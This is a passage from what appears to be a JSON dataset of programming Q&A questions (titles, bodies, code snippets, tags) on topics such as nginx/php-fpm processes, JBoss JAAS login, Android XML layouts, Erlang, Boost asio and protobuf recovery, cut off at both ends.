\n 3760 hmark 15 0 70764 1632 888 S 0 0.2 0:00.00 sshd
\n 3761 hmark 15 0 20924 2360 1616 S 0 0.2 0:00.01 bash
\n 3950 root 15 0 71536 3324 2580 S 0 0.4 0:00.02 sshd
\n 3962 hmark 18 0 71536 1652 892 S 0 0.2 0:00.00 sshd
\n 3963 hmark 16 0 20924 2356 1616 S 0 0.2 0:00.01 bash
\n 3987 hmark 15 0 19180 1360 1068 R 0 0.1 0:00.13 top
\n 9753 root 18 0 54900 1228 352 S 0 0.1 0:00.00 nginx
\n 9754 www-data 18 0 55240 2120 948 S 0 0.2 0:00.49 nginx
\n 9755 www-data 18 0 55240 2116 948 S 0 0.2 0:00.44 nginx
\n 9756 www-data 15 0 55240 2132 948 S 0 0.2 0:00.43 nginx
\n 9757 www-data 18 0 55240 1668 504 S 0 0.2 0:00.59 nginx
\n32650 root 18 0 86460 4408 2736 S 0 0.5 0:00.01 apache2
\n32653 www-data 25 0 85016 2172 524 S 0 0.2 0:00.00 apache2
\n32654 www-data 18 0 85016 2112 468 S 0 0.2 0:00.00 apache2
\n32656 www-data 15 0 86192 2112 468 S 0 0.2 0:00.01 apache2
\n32658 www-data 18 0 302m 4088 1568 S 0 0.4 0:00.00 apache2
\n32660 www-data 25 0 302m 4240 1564 S 0 0.4 0:00.00 apache2
\n32742 root 18 0 121m 4216 1256 S 0 0.4 0:00.12 php5-fpm
\n32743 www-data 18 0 121m 5476 2332 S 0 0.6 0:00.00 php5-fpm
\n32744 www-data 18 0 121m 4464 1468 S 0 0.5 0:00.00 php5-fpm
\n32745 www-data 18 0 121m 4460 1464 S 0 0.5 0:00.00 php5-fpm
\n32746 www-data 18 0 121m 4464 1468 S 0 0.5 0:00.00 php5-fpm
\n32747 www-data 25 0 121m 3740 784 S 0 0.4 0:00.00 php5-fpm
\n32748 www-data 25 0 121m 3740 784 S 0 0.4 0:00.00 php5-fpm
\n32750 www-data 25 0 121m 3740 784 S 0 0.4 0:00.00 php5-fpm
\n32752 www-data 25 0 121m 3740 784 S 0 0.4 0:00.00 php5-fpm
\n32753 www-data 25 0 121m 3740 784 S 0 0.4 0:00.00 php5-fpm
\n32754 www-data 25 0 121m 3744 784 S 0 0.4 0:00.00 php5-fpm
\n32755 www-data 25 0 121m 3744 784 S 0 0.4 0:00.00 php5-fpm
\n32756 www-data 25 0 121m 3744 784 S 0 0.4 0:00.00 php5-fpm
\n32757 www-data 25 0 121m 3744 784 S 0 0.4 0:00.00 php5-fpm
\n32758 www-data 25 0 121m 3744 784 S 0 0.4 0:00.00 php5-fpm
\n32759 www-data 25 0 121m 3744 784 S 0 0.4 0:00.00 php5-fpm
\n32760 www-data 25 0 121m 3744 784 S 0 0.4 0:00.00 php5-fpm
\n32761 www-data 25 0 121m 3744 784 S 0 0.4 0:00.00 php5-fpm
\n32762 www-data 18 0 121m 3744 784 S 0 0.4 0:00.00 php5-fpm
\n32763 www-data 25 0 121m 3744 784 S 0 0.4 0:00.00 php5-fpm
\n32764 www-data 25 0 121m 3744 784 S 0 0.4 0:00.00 php5-fpm \n",
"ubuntu fastcgi"], "5397601": ["Using AES or RSA for messages with Arduino NFC?",
"As stated in the title I'm having a hard time deciding on which encryption to use
for the messages send between a NFC-shield on an Arduino and a cellphone. I want to
use a fast but safe encryption and thought that AES would fit in nicely. The target
is a doorlock with NFC as a key. Any thoughts, pros or cons? Is asymmetric
encryption better, like RSA?\nIm having a hard time figuring out one thing with AES
though. How is AES protected from eavesdropping or man in the middle attacks? Have
I understood this correctly: if an AES encrypted string is sent 100 times and
someone listens in on that encrypted message, the eavesdropper will get 100
diffrent encrypted strings since AES changes keys all the time?\nThanks\n", "",
"arduino aes rsa nfc"], "1796883": ["How do I know if spreadsheet cells are merged
using google apps script", "In a Google docs spreadsheet.\nIf cells A1 & A2 are
merged, is there a way\nto confirm they are merged, using google apps script?\
nThere is a merge function in GAS
https://developers.google.com/apps-script/class_range#merge\nBut there is no
function or example that shows how to check if cells are merged.\ngetValues etc
just returns an empty string for the cell. e.g. this\n does not work.\n\n",
"function testMerge() {\n\n var spreadsheet =
SpreadsheetApp.openById('Z3ppTjxNUE........'); \n var sheet =
spreadsheet.getSheets()[0];\n var range = sheet.getRange(\"A3:A4\");\n var values
= range.getValues();\n var formulas = range.getFormulasR1C1();\n var formulasA1 =
range.getFormulas();\n\n range = sheet.getRange(\"A4\");\n
range.setValue(\"a\");\n\n range = sheet.getRange(\"A3:A4\");\n var values2 =
range.getValues();\n var formulas2 = range.getFormulasR1C1();\n var formulasA12 =
range.getFormulas();\n\n\n var count = range.getHeight();\n\n\n}\n", "google-apps-
script google-spreadsheet"], "597870": ["Devise public user page only if user is
pro", "I have a devise user model with pro boolean column.I want to build a public
page for each of them but only if user is pro.How can i approach it?\n", "", "ruby-
on-rails devise"], "2797118": ["Hardware setup advice for SQL Server 2005", "I'm
currently having trouble with a database server for a DB with lots of small writes
and a few in comparison big reads. Read performance is more important because
people is involved, writes are performed by automated clients. This database is
currently 30GB and will grow up until a hundred or so.\nThe currently awful and
ugly setup which underperforms is\n\nDELL Poweredge R300\nQuad Core Xeon X3353
@2.66GHz\n14 GB RAM\nSAS 15k 146GB (two partitions, one OS, another Logs)\nSAS 15k
146GB (one partition, data and tempdb)\nNo RAID (ugh)\nSATA 7k 1TB [via USB 2.0,
external power supply, where daily backups are stored]\n\nSo, due to its many ugly
points (underperforming, no RAID, external USB drive for backups) I'm planning to
set up a new database server.\nI've thought about:\n\n4 SAS 15k 73GB RAID10 for
logs\n2 SAS 15k 73GB RAID1 for OS \n4 SAS 15k 146GB RAID10 for data + tempdb\n32GB
RAM\n\nSo, three questions:\n\nIs this the best price/performance combination? Is
this overkill? Is there a better combination? Is more information needed?\nDo you
know of a reasonable priced single machine which can contain the 10 disks or must I
go for an external locally attached storage right now? \nAny recommendations for
getting something like this at a reasonable price/quality?\n\n", "", "sql-server-
2005 performance hardware"], "36587": ["Problem with JAAS and
DatabaseServerLoginModule", "hello:\nI have a problem with jaas and jboss. I try to
authenticate users against a database using form based method but jboss tells me
the password are wrong (no, the password is correct), but if i use
UsersRolesLoginModule with properties files, no problem.\nIn the pg database in
debug mode the query that JBoss does seems ok,\nThe password in database for now
are in plain text (without hash)\nHere is my login-config.xml file\n\nweb.xml
file:\n\njboss-web.xml\n\nlogin.jsp\n\n", "<application-policy name = \"AP\">\n
<authentication>\n <login-module code
= \"org.jboss.security.auth.spi.DatabaseServerLoginModule\" flag = \"required\">\n
<module-option name = \"dsJndiName\">java:/authDS</module-option>\n
<module-option name = \"principalsQuery\">SELECT password FROM users WHERE login
= ?</module-option>\n <module-option name = \"rolesQuery\">SELECT
roles.name AS roles FROM roles WHERE roles.id IN \n (SELECT
users_roles.roleid FROM users_roles WHERE users_roles.userid IN \n (SELECT
users.id FROM users WHERE login = ?))</module-option>\n <!-- <module-
option name=\"hashAlgorithm\">MD5</module-option> -->\n <!-- <module-
option name=\"hashEncoding\">base64</module-option> -->\n <!-- <module-
option name=\"hashEncoding\">HEX</module-option> -->\n <!-- <module-
option
name=\"hashAlgorithm\">SHA-1</module-option> -->\n <!-- <module-option
name=\"digestCallback\">com.myclass.MyDigestCallback</module-option>-->\n
</login-module>\n </authentication>\n </application-policy>\n", "java
jboss jaas"], "2178226": ["Monitoring Client Side Performance for Sites", "I want
to monitor the client side performance for a page, and I can get the load time of
the page by starting a timer in the beginning of the section and also by getting
the time of when the onload event happens. However this does not account for the
time it takes to request the page from the server. So after searching i've found
out that I should use the web timing API. My problem is that
while \"window.performance\" works for chrome, nothing works for firefox
including \"window.mozPerformance\". So does anyone know how I can find the time
of when my browser initiates the get request for a page, and finishes receiving the
last byte of the page? \n", "", "javascript performance timing web"], "5974249":
["How to extend a template in CrudGeneratorBundle skeleton views?", "I have
override my skeleton views of the generatorBundle like this post Can't override the
standard skeleton views in Symfony2 GeneratorBundle but when i try to add a simple
or a in skeleton/crud/views/index.html.twig , I have \n", "{%
extends \"AcmeAdminBundle::layout.html.twig\" %}", "php symfony2"], "5929179":
["modelling XML dependencies between projects using maven", "I'm building an
application that is composed of two projects: and .\nNow, depends upon (modelled
using a ). The tricky thing i'm facing is:\nThere are XML files in which will be
needed while is running.\nTo make things more fun, a distribution of run will have
this structure:\n\n - has scripts\n - has the jars created by and \n - has the
library jars on which the app depends\n - has the xml files from and \n\nI'm all
done, except that I'm still looking for a way to write a maven goal in 's POM that
can put 's XML files in .\nAny ideas?\nThanks,\nHarshath\n", "common", "maven-2"],
"20285": ["How do I show errors returned from the Javascript SDK", "I'm working on
a script that combines both the PHP and Javascript SDKs.\nIt's a pretty basic
script, and for the most part it works, but it's going to be used by others and I'm
trying to make it a bit more bullet-proof.\nThe issue I have is that if anything
like the URL, API Key or Secret are incorrect there is no message shown to the user
to help them realise their problem.\nIf I watch the HTTP stream (with HttpFox) I
can see that there is an error being returned. Something like...\n <span>Given
URL is not permitted...</span>\nBut nothing appears in the display. The span tags,
make it seem like this response is intended for display, but I don't know where it
should appear, or why it isn't.\nIs there some specially named div element that I'm
supposed to have on my page?\nAny help appreciated!\n", "", "error-handling
facebook-javascript-sdk"], "4429872": ["primefaces file upload deployment problem",
"I m trying to upload a file to my server via primefaces.\nHere is index.html\n\
nhere is bean.java\n\nand here is web.xml \n\nbut in netbeans / tomcat it is not
deployed i dont know what is wrong ?\nplease help me.\nThanks\n", "<?xml
version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0
Strict//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd\">\n<html
xmlns=\"http://www.w3.org/1999/xhtml\"\n
xmlns:h=\"http://java.sun.com/jsf/html\"\n
xmlns:p=\"http://primefaces.prime.com.tr/ui\"\n
xmlns:f=\"http://java.sun.com/jsf/core\">\n <h:head>\n <meta http-
equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\"/>\n <title>PrimeFaces
Test</title>\n <p:resources />\n </h:head>\n <f:view>\n <h:body>\n
<h:form id=\"form\" enctype=\"multipart/form-data\" prependId=\"false\">\n
<p:growl id=\"messages\" />\n <p:layout style=\"width:400px;height:200px;\">\n
<p:layoutUnit position=\"west\" >Left Pane</p:layoutUnit>\n <p:layoutUnit
position=\"center\">Right Pane</p:layoutUnit>\n </p:layout>\n <p:fileUpload
fileUploadListener=\"#{bean.processFileUpload}\" id=\"documentToUpload\"\n
allowTypes=\"*.jpg;*.png;*.gif;\" description=\"Images\" />\n\n </h:form>\n
</h:body>\n</f:view>\n</html>\n", "jsf tomcat netbeans primefaces"], "5048508":
["Basic Erlang Question", "I have been trying to learn Erlang and came across some
code written by Joe Armstrong:\n\nIt is from a blog post about using websockets
with Erlang: http://armstrongonsoftware.blogspot.com/2009/12/comet-is-dead-long-
live-websockets.html\nCould someone please explain to me why in the start function,
he spawns the anonymous function start(F, 0), when start is a function that takes
zero arguments. I am confused about what he is trying to do here.\n", "start() ->\n
F = fun interact/2,\n spawn(fun() -> start(F, 0) end).\n\ninteract(Browser,
State) ->\n receive\n {browser, Browser, Str} ->\n Str1 =
lists:reverse(Str),\n Browser ! {send, \"out ! \" ++ Str1},\n
interact(Browser, State);\n after 100 ->\n Browser ! {send, \"clock !
tick \" ++ integer_to_list(State)},\n interact(Browser, State+1)\nend.\n",
"erlang"], "2830757": ["Android - Can't find handle to LinearLayout", "I have the
following XML:\n\nIn the code I am trying to get a handle to one of the inner
LinearLayouts but none of them appear under \n\netc...\nAll the other elements
appear like row9, row10, etc.\nThanks!\n", "<?xml version=\"1.0\" encoding=\"utf-
8\"?>\n<TableLayout xmlns:android=\"http://schemas.android.com/apk/res/android\"\
nandroid:layout_width=\"fill_parent\" android:layout_height=\"fill_parent\"\
nandroid:stretchColumns=\"1\">\n\n<!-- LinearLayout IDs, first digit denotes day of
week (0 Sunday...6 Saturday), \n second digit denotes hour of day (0
midnight...23 11pm) -->\n\n<TableRow android:id=\"@+id/row9\"
android:layout_width=\"wrap_content\"\n android:layout_height=\"wrap_content\"
android:background=\"#C9C9C9\">\n <LinearLayout android:id=\"@+id/19\"
android:padding=\"3dip\"></LinearLayout>\n <LinearLayout android:id=\"@+id/29\"
android:padding=\"3dip\"></LinearLayout>\n <LinearLayout android:id=\"@+id/39\"
android:padding=\"3dip\"></LinearLayout>\n <LinearLayout android:id=\"@+id/49\"
android:padding=\"3dip\"></LinearLayout>\n <LinearLayout android:id=\"@+id/59\"
android:padding=\"3dip\"></LinearLayout>\n</TableRow>\n<TableRow
android:id=\"@+id/row10\" android:layout_width=\"wrap_content\"\n
android:layout_height=\"wrap_content\" android:background=\"#9C9C9C\">\n
<LinearLayout android:id=\"@+id/110\" android:padding=\"3dip\"></LinearLayout>\n
<LinearLayout android:id=\"@+id/210\" android:padding=\"3dip\"></LinearLayout>\n
<LinearLayout android:id=\"@+id/310\" android:padding=\"3dip\"></LinearLayout>\n
<LinearLayout android:id=\"@+id/410\" android:padding=\"3dip\"></LinearLayout>\n
<LinearLayout android:id=\"@+id/510\"
android:padding=\"3dip\"></LinearLayout>\n</TableRow>\n<TableRow
android:id=\"@+id/row11\" android:layout_width=\"wrap_content\"\n
android:layout_height=\"wrap_content\" android:background=\"#C9C9C9\">\n
<LinearLayout android:id=\"@+id/111\" android:padding=\"3dip\"></LinearLayout>\n
<LinearLayout android:id=\"@+id/211\" android:padding=\"3dip\"></LinearLayout>\n
<LinearLayout android:id=\"@+id/311\" android:padding=\"3dip\"></LinearLayout>\n
<LinearLayout android:id=\"@+id/411\" android:padding=\"3dip\"></LinearLayout>\n
<LinearLayout android:id=\"@+id/511\"
android:padding=\"3dip\"></LinearLayout>\n</TableRow>\n<TableRow
android:id=\"@+id/row12\" android:layout_width=\"wrap_content\"\n
android:layout_height=\"wrap_content\" android:background=\"#9C9C9C\">\n
<LinearLayout android:id=\"@+id/112\" android:padding=\"3dip\"></LinearLayout>\n
<LinearLayout android:id=\"@+id/212\" android:padding=\"3dip\"></LinearLayout>\n
<LinearLayout android:id=\"@+id/312\" android:padding=\"3dip\"></LinearLayout>\n
<LinearLayout android:id=\"@+id/412\" android:padding=\"3dip\"></LinearLayout>\n
<LinearLayout android:id=\"@+id/512\"
android:padding=\"3dip\"></LinearLayout>\n</TableRow>\n<TableRow
android:id=\"@+id/row13\" android:layout_width=\"wrap_content\"\n
android:layout_height=\"wrap_content\" android:background=\"#C9C9C9\">\n
<LinearLayout android:id=\"@+id/113\" android:padding=\"3dip\"></LinearLayout>\n
<LinearLayout android:id=\"@+id/213\" android:padding=\"3dip\"></LinearLayout>\n
<LinearLayout android:id=\"@+id/313\" android:padding=\"3dip\"></LinearLayout>\n
<LinearLayout android:id=\"@+id/413\" android:padding=\"3dip\"></LinearLayout>\n
<LinearLayout android:id=\"@+id/513\"
android:padding=\"3dip\"></LinearLayout>\n</TableRow>\n<TableRow
android:id=\"@+id/row14\" android:layout_width=\"wrap_content\"\n
android:layout_height=\"wrap_content\" android:background=\"#9C9C9C\">\n
<LinearLayout android:id=\"@+id/114\" android:padding=\"3dip\"></LinearLayout>\n
<LinearLayout android:id=\"@+id/214\" android:padding=\"3dip\"></LinearLayout>\n
<LinearLayout android:id=\"@+id/314\" android:padding=\"3dip\"></LinearLayout>\n
<LinearLayout android:id=\"@+id/414\" android:padding=\"3dip\"></LinearLayout>\n
<LinearLayout android:id=\"@+id/514\"
android:padding=\"3dip\"></LinearLayout>\n</TableRow>\n<TableRow
android:id=\"@+id/row15\" android:layout_width=\"wrap_content\"\n
android:layout_height=\"wrap_content\" android:background=\"#C9C9C9\">\n
<LinearLayout android:id=\"@+id/115\" android:padding=\"3dip\"></LinearLayout>\n
<LinearLayout android:id=\"@+id/215\" android:padding=\"3dip\"></LinearLayout>\n
<LinearLayout android:id=\"@+id/315\" android:padding=\"3dip\"></LinearLayout>\n
<LinearLayout
android:id=\"@+id/415\" android:padding=\"3dip\"></LinearLayout>\n
<LinearLayout android:id=\"@+id/515\"
android:padding=\"3dip\"></LinearLayout>\n</TableRow>\n\n\n</TableLayout>\n",
"android xml"], "5949187": ["windows form UI simple question", "Hey:\n i am very
new to windows form UI development. now i am just doing all the drop and drop for
UI design. but the problem is that all my UI elements are fixed size. when i
maximum the window. the window gets bigger but all the UI elements in the window
stays in the same size, and it looks awkward. is there a property could be set so
that all the element's size is proportional resized as window get maximized? \
nThanks\n", "", ".net winforms user"], "4952082": ["Linq to SQl Inserting Data to
The database is not working Because of Database Path", "I am trying to insert an
account in an table in my database. there are no exceptions thrown. but the data is
not being added to the database.\nHere's the code\n\nHere is my tables Data
Context\n\nI did not add the whole code since it is long. \nWhy is that my data is
not being inserted on the database? I've check the table but it's not there\nEDIT:
The errors Might be in Located in the DB Path.\nHere's my database path\n\nAnd here
is a photo of where my PatAddSys.mdf is located\n\n", " public void
addAdministratorAccount() {\n\n using (DbDataContext myDb = new
DbDataContext(dbPath))\n {\n\n\n var hasher = new Hasher
{ SaltSize = 16 };\n var encryptedPassword =
hasher.Encrypt(txtPass.Text);\n\n Administrator adminUser = new
Administrator();\n adminUser.Admin_FName = txtAddFName.Text;\n
adminUser.Admin_LName = txtAddLastName.Text;\n
adminUser.Admin_UserName = txtUser.Text;\n adminUser.Admin_Password
= encryptedPassword;\n\n
myDb.Administrators.InsertOnSubmit(adminUser);\n
myDb.SubmitChanges();\n\n MessageBox.Show(\"Administrator Account
Has Been Added\");\n }\n", ".net sql linq linq-to-sql path"], "5403078":
["Notepad++ auto complete HTML end tags after </ (like Dreamweaver does)", "In
Dreamweaver typing will automatically close the last open tag, so you don't have
to type it all out, and it helps if you aren't sure if you closed one or not. Is
there a plugin that dose this for Notepad++?\nThis is not like text FX where typing
the opening tag/bracket adds the close on the other side of the cursor. This
behavior is an auto completion that happens when is typed, DW finds whatever the
innermost open tag is, and closes it. I find that, when I have the option of using
DW, I will use this feature far more often than anything else that DW provides.
Thus I would love to know if there was a way to do it in NPP.\nI am not opposed to
unorthodox suggestions, some kind of macro, or hack of a plugging. Anything to
emulate the functionality. If need be, I could write a plugin, I just have no idea
how I would implement this feature in a plugin (Both because I know nothing about
NPP plugins, and because my C++ is not very good).\n", "</", "html notepad++
autocomplete"], "636276": ["How to select some urls with BeautifulSoup?", "I want
to scrape the following information except the last row and \"class=\"Region\"
row:\n\nI tested with this handler:\n\nThis works but it also get the \"View
Profile\" link which I don't want:\n\nI can easily remove the
\"u'http://www.ilrg.com/'\" after scraping the site but it would be nice to have a
list without it. What is the best way to do this? Thanks.\n", "...\n<td>7</td>\n<td
bgcolor=\"\" align=\"left\" style=\" width:496px\"><a class=\"xnternal\"
href=\"http://www.whitecase.com\">White and Case</a></td> \n<td bgcolor=\"\"
align=\"left\">New York</td> \n<td bgcolor=\"\" align=\"left\"
class=\"Region\">N/A</td> \n<td bgcolor=\"\" align=\"left\">1,863</td> \n<td
bgcolor=\"\" align=\"left\">565</td> \n<td bgcolor=\"\" align=\"left\">1,133</td> \
n<td bgcolor=\"\" align=\"left\">$160,000</td>\n<td bgcolor=\"\"
align=\"center\"><a class=\"xnternal\" href=\"/nlj250/firmDetail/7\"> View Profile
</a></td></tr><tr class=\"small\" bgcolor=\"#FFFFFF\">\n...\n", "python screen-
scraping beautifulsoup web-scraping"], "2807046": ["How do I use student's-t
distribution without the sample size?", "Here is my question (homework obviously):\
nA sample from a normal population produced variance 4.0.\nFind the size of the
sample if the sample mean deviates from the population\nmean by no more than 2.0
with a probability of at least 0.95.\nSo I'm trying to find $n$, the sample size,
having only $\\hat{\\sigma}$, the sample variance, and a bound on the distance
between $\\bar{x}$ and $\\mu$. My intuition was normally in this situation we need
to use the t distribution since $\\hat{\\sigma}$ is an unbiased estimate for $\\
sigma$ (we did all the proofs in class).The problem is the t distribution changes
depending on $n$, the sample size, so which distribution (how many degrees of
freedom) should I consult when looking up the t-values containing 95% of the
probability mass? I tried it for different values of $n$, and then squared the
values to compare them to the d.f. of the t distribution - the closest I could get
was 0.6 off. (I took the t-value at $\\alpha = 0.025$ (right-tail) for 5 d.f.,
implying $n$ is 6, and squaring the t-value gave me 6.61, which is a discrepancy of
0.61 (isn't this large?). The reason I squared the t-values becomes apparent if you
\"normalize\" the bound on the means into a t-statistic. Am I going about this
correctly? This doesn't seem right...\n", "", "homework statistics estimation"],
"3942444": ["eventually periodic point and homeomorphism.", "The point $x$ is a
periodic point of period $n$ if $f^n(x)=x$. The least positive $n$ for which
$f^n(x)=x$ is called the prime period of $x$.\nA point $x$ is eventually periodic
of period $n$ if $x$ is not periodic but there exists $m>0$ such that $f^{n+i}
(x)=f^i (x)$ for all $i\\geq m$.\nFirst. Prove that a homeomorphism of R can have
no periodic point points with prime period greater than 2.\nSecond. Prove that a
homeomorphism cannot have eventually periodic points.\nAny suggestions, please? \
n", "", "calculus"], "4072645": ["Setting constant and increasing speed for sprite
in box2d", "I'm trying to create 3 different difficulty levels (easy, medium and
hard) for a game I'm trying to develop. I use a flag to differentiate the 3 (easy =
1, medium = 2, hard = 3). Now, I'm trying to figure out how to set the speed for
easy as constant, then increase it after 20 collisions while medium, then increase
after 10 when hard is selected. This is how I'm trying to implement it:\n\nThe
counter does work but the speed does not seem to increment whenever counter is
divisible by 20 or 10 and I can't get a constant speed for the easy level too. It
starts off quite fast then gradually slows down. What am I doing wrong here? Please
help.\n", "-(id)init)\n{vel = 8;\ncounter = 0;}\n\n-(void)update:(ccTime)dt{\
n_world->Step(dt, vel, 10);\n\n for(b2Body *b = _world->GetBodyList(); b; b=b-
>GetNext()) {\n if (b->GetUserData() != NULL) {\n CCSprite
*sprite = (CCSprite *)b->GetUserData();\n sprite.position = ccp(b-
>GetPosition().x * PTM_RATIO,\n b->GetPosition().y *
PTM_RATIO);\n sprite.rotation = -1 * CC_RADIANS_TO_DEGREES(b-
>GetAngle());\n }\n }\n if((contact.fixtureA == _paddleFixture &&
contact.fixtureB == _ballFixture) || (contact.fixtureA == _ballFixture &&
contact.fixtureB == _paddleFixture))\n {\n counter++;\n [self
updateSpeed];\n }\n}\n\n-(void)updateSpeed{\nif(diffLevel == 2)\n{\n
if(counter%20 == 0)\n {\n vel = vel + 5;\n }\n}\nelse if(diffLevel ==
3)\n{\n if(counter%10 == 0)\n {\n vel = vel + 10;\n }\n}\nelse\n{\n
vel = 8;\n}}\n", "c++ cocos2d box2d"], "3138295": ["Learning Python by studying a
single, dense, comprehensive code example?", "I've learned the basics of Python
through tutorials, but now I want to try something different: \n\nStudy one single
script at a time thoroughly and get a large set of the language's essentials.\n\
nCan you point me to a single dense Python script that demonstrates the different
programming paradigms, data structures, expressions like list comprehensions,
generators, lambda forms, and so on?\nOf course I don't expect the script to
include all core features of Python. But ideally, it would combine a large subset
of different language features in a meaningful way.\n\nI've seen related questions
but mine is not a duplicate of for example:\n\nRecommend codebase to read and hone
Python skills\nHow to learn Python: Good Example Code?\nA good open source Python
project to read code?\n\n", "", "python tutorials"], "2179974": ["Debug jboss app
in Intellij idea", "I am using idea and .\nWhen I run it it works fine but when I
debug it it gives me:\n\nWhat is the problem?\n", "intellij", "debugging jboss
intellij-idea"], "5720554": ["Unable to set elements in an Application Layout
control (XPages)", "Ok, I have two custom controls:\n\nMainLayout: Contains an
Application Layout control (from the Domino extension library)\nSection1: Contains
a section with a header and a few items\n\nNow I create a new XPage, and drag the
MainLayout control on it.\nNow I want to drag Section1 to the page, and connect it
to LeftColumn area of the MainLayout... which seems like something trivial, but I
can't get it to work for some reason.\nWhen I drag the section1 control to the
leftColumn area, the component is always getting inserted at the top of the page.
The little pencil-icon next to \"LeftColumn\" seems decoration-only to me, because
no matter if you left-click or right-click on it, nothing happens...\nHow is this
supposed to work?\nUpdate:\nThis
how my xpage looks like after adding the MainLayout control:\n\nXML of the
MainLayout custom component:\n\n", "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\
n<xp:view xmlns:xp=\"http://www.ibm.com/xsp/core\"
xmlns:xc=\"http://www.ibm.com/xsp/custom\">\n\n <xp:this.resources>\n
<xp:styleSheet href=\"/custom.css\"></xp:styleSheet>\n </xp:this.resources>\n
<xc:MainLayout></xc:MainLayout>\n\n</xp:view>\n", "xpages lotus-domino xpages-
extlib"], "1592883": ["error method of boost:asio::ip::tcp::iostream not found", "I
am trying to compile a MWE, taken from the boost tutorials.\nStrangely enough, my
compiler complaints that tcp::iostream has no method error():\n error: \
u2018boost::asio::ip::tcp::iostream\u2019 has no member named \u2018error\u2019\nI
am quite sure that my include settings are OK, since it finds the header files.\
nAlso, the error() method seems to be for relatively long time in the boost API. I
am mentioning this since I am trying to use the Point Cloud Library. By installing
this library, I also installed boost and it might be an older version. I have no
idea to check the version, but as said I do not think this is the problem.\nAny
suggestions?\n\n", "#include <iostream>\n#include <string>\n#include
<boost/asio.hpp>\n\nusing boost::asio::ip::tcp;\n\nint main(int argc, char*
argv[])\n{\n try\n {\n if (argc != 2)\n {\n std::cerr << \"Usage:
daytime_client <host>\" << std::endl;\n return 1;\n }\n\n tcp::iostream
s(argv[1], \"daytime\");\n if (!s)\n {\n std::cout << \"Unable to
connect: \" << s.error().message() << std::endl;\n return 1;\n }\n\n
std::string line;\n std::getline(s, line);\n std::cout << line << std::endl;\
n }\n catch (std::exception& e)\n {\n std::cout << \"Exception: \" <<
e.what() << std::endl;\n }\n\n return 0;\n}\n", "c++ boost boost-asio pcl"],
"5618126": ["Recovering corrupted file serialize with Protobuf-net", "The machine
power was cut while, I assume, my application was updating a file. When turned back
on and my application started it attempted to deserialize the file. The call to
did not fail, but the resulting object has default values for every property. \nMy
file updating/saving:\n\nThere is no _tmp file, just the main file. The size of the
file is non-zero which makes me believe the information is intact. Is there a way
to recover this data?\nUpdate:\nI've tried the Marc's suggestion with ProtoReader
and the file in questions causes an exception the be thrown at . The ProtoException
reads: \"Invalid field in source data:0\"\n", "Serializer.Deserialize", "c# file-io
protobuf-net"], "3986494": ["Raphael Moving Sets", "I make a candlestick using two
rectangles and making a set.\nThen I make 100 candlesticks and make that a set.\
nWhen I try to move all 100 candlesticks, they either all move to one coordinate,
or all move correctly, but the sticks all move to the edge of the candle.\nHow can
I move the whole set, but retain the inner transforms of the candlesticks?\n", "",
"raphael"], "5921124": ["Android Activities, Tabs, Back Button", "I am writing my
first Android app. It's a port of an iPhone app which has 3 tabs at the bottom,
call these A, B and C. Tab A has 4 child activities (A1, A2, A3, A4) , tab B has 3
child activities and Tab C has 2 child activities.\nFor the Android app, I don't
really want to show the iPhone style tab bar at the bottom. In fact I'd rather
have no tab bar at all (so I can use more of the screen) and instead use the Menu
button to swap between activities A, B and C.\nI'm really struggling to choose the
best method to implement this which will also need to handle the back button
correctly.\nI've read the Android developer notes on Activities and tried this out
(using the intent flags to disable the 'slide left' effect) This works for
switching between A1, B1, C1, but if you've navigated A1, A2, then C1 i don't know
how to make the Back button go to A2 (it goes to A1)\nI've also read about using
Tabs and tried a test with this. However the back button is not handled and simply
exits the app. I realise I can handle the Stack myself and override the Back
button and that I'll need to use ActivityGroups. But I've not found any good
examples of how to handle the back button in the ActivityGroup and also read that
theres a bug in handling the back button if one of the Activities in the Group is a
ListActivity, which I also intend to use.\nAny help or pointers would be
appreciated to help get me started.\n", "", "android activity tabs stack back"],
"58956": ["Best opensource/ free stacking software for mac for astrophotography",
"I am using snow leopard and mainly want it to automate the stacking as much as
possible. I have seen that PixInSight looks pretty awesome, but that's not free,
in-fact far from it, so I want something that is free that can do the same, or as
much as possible.\n", "", "software astrophotography open-source macintosh"],
"6008558": ["JAVA to C# converter", "\nPossible Duplicate:\nTool to convert java to
c# code \n\nHello Everyone!\nIs there any converter from Java to C# ?\nI have to
convert a little code from Java to C#.\n", "", "c# java converter"], "5618127":
["Entity Framework 4: How to enforce WHERE clause order in generated query",
"Assume the following table :\n\nI have put an additional index on .\nConsider the
following LINQ to Entities query to retrieve an object:\n\nBecause of the index, it
is important that the EF-generated query keeps the order of the properties in the
WHERE clause the same (i.e. first and second), otherwise a table scan will occur
and the index is useless. How can I enforce EF to keep a certain order in the WHERE
clause? And is there a difference between ad hoc and compiled queries?\n",
"MyObjects", "c# sql-server entity-framework linq-to-entities"], "2717487":
["insert to specific index for mongo array", "Mongo supports arrays of documents
inside documents. For example, something like\n\nNow, imagine I wanted to insert an
arbitrary value at an arbitrary index\n\nI know you can update values in place with
$ and $set, but nothing for insertion. it kind of sucks to have to replace the
entire array just for inserting at a specific index.\n", "{_id: 10, \"coll\": [1,
2, 3] }\n", "mongodb"], "5926908": ["Javascript inconsitency with Safari/Mac", "\
ni'm trying to adapt this great script from Balupton's GitHub to build a web app.
Now everything works fine, but Safari/Mac fails on the first click, which is due to
this part:\n\nI've tested nn FF and Chrome for Mac and Linux, this works as it
should (prevent reloading of the Ajax Part on the first load of the page) but in
Safari it prevents the first user activated reload. If I comment out those bits:\n\
nFF and Chrome for Mac and Linux will reload the Ajax bit directly on the first
page load. Safari won't.\nCan you tell me how to solve this?\nThanks,\nthomas\
nEdit: It turned out to be a problem in ...\n", " var first = true;\n $
(window).bind('statechange',function(){\n if ( first ) { first = false;
return; };\n // stuff\n });\n", "javascript safari"], "4805249":
["Linux + how to verify mirror configuration on linux red-hat with cfggen utility",
"I have an IBM blade server with RedHat Linux installed.\nHow can we check to see
if we have both disks running as a mirror, or if everything is only running on a
